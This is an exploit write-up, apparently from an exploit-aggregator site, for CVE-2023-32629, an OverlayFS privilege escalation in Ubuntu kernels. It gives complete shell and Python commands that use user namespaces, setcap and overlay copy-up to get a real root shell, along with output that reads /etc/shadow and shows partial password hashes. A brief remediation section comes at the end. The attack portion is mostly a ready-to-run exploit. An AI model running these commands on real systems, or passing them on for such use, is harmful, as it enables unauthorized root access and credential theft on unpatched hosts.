## https://sploitus.com/exploit?id=8012774F-4507-57EF-AE42-469F8E744623
# CVE-2023-32629 โ OverlayFS Local Full Privilege Escalation
OverlayFS Local Privilege Escalation - Full write-up to full escalation
> **For educational and authorized security research purposes only.**
> **Severity:** High
> **Type:** Local Privilege Escalation (LPE)
> **Affected:** Ubuntu kernels prior to May/June 2023 patches
> **Requirement:** Unprivileged user namespaces enabled (default on Ubuntu)
---
## Table of Contents
- [Overview](#overview)
- [Background Concepts](#background-concepts)
- [Attempt 1 โ Naive SUID Copy](#attempt-1--naive-suid-copy)
- [Attempt 2 โ Shell Inside the Namespace](#attempt-2--shell-inside-the-namespace)
- [Working Exploit](#working-exploit)
- [Why It Works](#why-it-works)
- [Summary](#summary)
---
## Overview
CVE-2023-32629 is a vulnerability in the Linux kernel's **OverlayFS** implementation. It abuses the interaction between **user namespaces** and **filesystem capabilities** during the OverlayFS copy-up operation to achieve local privilege escalation from any unprivileged user to real host root.
---
## Background Concepts
### User Namespaces and UID Mapping
When you run `unshare -r`, the kernel creates a new user namespace and maps your host UID to UID 0 inside it:
```
/proc/self/uid_map:
0 1001 1 โ "UID 0 inside namespace = UID 1001 (lowpriv) outside"
```
This means you appear as `root` inside the namespace, but **the host kernel always translates back to your real UID** when performing filesystem permission checks on host resources.
### OverlayFS Copy-Up
OverlayFS stacks a `lowerdir` (read-only) and an `upperdir` (read-write) into a merged view. When a file in `lowerdir` is written to through the merged view, the kernel copies it to `upperdir` first โ this is called **copy-up**.
**Critical:** Copy-up is performed by the kernel itself using **host credentials**, regardless of which namespace triggered it. All extended attributes (`xattrs`), including filesystem capabilities, are preserved during this operation.
### Filesystem Capabilities vs SUID
| Mechanism | Requires root ownership | Granted by |
|-----------|------------------------|------------|
| SUID bit | โ Yes | `chmod u+s` |
| Capabilities (`cap_setuid`) | โ No | `setcap` + trusted xattr |
This distinction is the core of the exploit. Capabilities are honored by the kernel based on the xattr alone, regardless of who owns the file.
---
## Attempt 1 โ Naive SUID Copy
### What we tried
```bash
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
cp u/python3 /tmp/rootshell &&
chmod 4755 /tmp/rootshell
"
/tmp/rootshell -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
```
### Result
```
-rwsr-xr-x 1 lowpriv lowpriv 8016833 /tmp/rootshell
PermissionError: [Errno 1] Operation not permitted
```
### Why it failed
The `cp` and `chmod` commands ran **inside the namespace**, where UID 0 maps to `lowpriv` on the host. So:
- `/tmp/rootshell` was owned by `lowpriv`, not real root
- SUID on a `lowpriv`-owned file only grants `lowpriv` โ which we already had
- The `cp` operation also **stripped the capability xattrs** from the binary
---
## Attempt 2 โ Shell Inside the Namespace
### What we tried
```bash
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
m/python3 -c 'import os; os.setuid(0); os.system(\"/bin/bash -p\")'
"
```
### Result
```
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
cat: /etc/shadow: Permission denied
```
### Why it failed
The shell was root **inside the namespace only**. When it tried to access `/etc/shadow`, the kernel performed the VFS permission check using the **translated host UID**:
```
Process UID (inside NS): 0 (looks like root)
Kernel translation: 0 โ 1001 (lowpriv on host)
/etc/shadow permissions: 640 root:shadow
Effective checker UID: 1001 (lowpriv)
Result: EACCES โ Permission denied
```
The namespace bubble never breaks through to real host root when touching host filesystem resources.
---
## Working Exploit
### Steps
```bash
# Step 1: Set up the OverlayFS inside the namespace and EXIT
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
touch m/python3
"
# touch triggers kernel copy-up: l/python3 โ u/python3
# kernel runs copy-up with HOST credentials, preserving cap_setuid xattr
# Step 2: Verify the capability survived on the host filesystem
getcap u/python3
# u/python3 cap_setuid=eip โ trusted xattr set on host FS
# Step 3: Execute OUTSIDE the namespace
u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
```
### Result
```
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
root:*:20305:0:99999:7:::
ubuntu:!$6$G/ZfsnyX...
lowpriv:$y$j9T$0XsK...
admin:$y$j9T$TQiE...
```
---
## Why It Works
### The vulnerable primitive
```
1. setcap inside user namespace
โ
โ writes cap_setuid as trusted xattr on l/python3
โผ
2. touch m/python3 โ OverlayFS copy-up triggered
โ
โ kernel copies l/ โ u/ using HOST credentials
โ ALL xattrs preserved, including cap_setuid
โผ
3. u/python3 exists on HOST filesystem
โ
โ owner: lowpriv (irrelevant for capabilities)
โ xattr: cap_setuid=eip (kernel trusts this)
โผ
4. Execute u/python3 OUTSIDE the namespace
โ
โ no UID mapping in effect
โ kernel reads cap_setuid=eip as host-level capability
โ os.setuid(0) โ real host root
โผ
5. Shell has genuine UID 0
โ
โ VFS checks pass as real root
โโ /etc/shadow readable
```
### Key insight
The kernel **should not** honor trusted capability xattrs that were set from within a user namespace during copy-up, because those xattrs carry host-level trust. Failing to enforce this boundary is the bug.
| | Inside Namespace | Outside Namespace |
|---|---|---|
| UID 0 means | lowpriv (mapped) | real root |
| `setuid(0)` effect | no-op (already NS-root) | real escalation |
| Host FS access | translated โ lowpriv | full root |
| `cap_setuid` honored | within NS only | **yes, host-level** |
---
## Summary
> The namespace gave us the ability to set a trusted capability on a file; the kernel copy-up smuggled that capability onto the host filesystem; executing outside the namespace made it real.
---
## Remediation
- Apply Ubuntu security patches for CVE-2023-32629
- Disable unprivileged user namespaces if not required:
```bash
sysctl -w kernel.unprivileged_userns_clone=0
```
- Monitor for unexpected `unshare` + `mount overlayfs` combinations from unprivileged users
---
## Disclaimer
This tool is provided for **educational purposes and authorized security testing only**. Unauthorized use against systems you do not own or have explicit written permission to test is illegal. The author is not responsible for any misuse.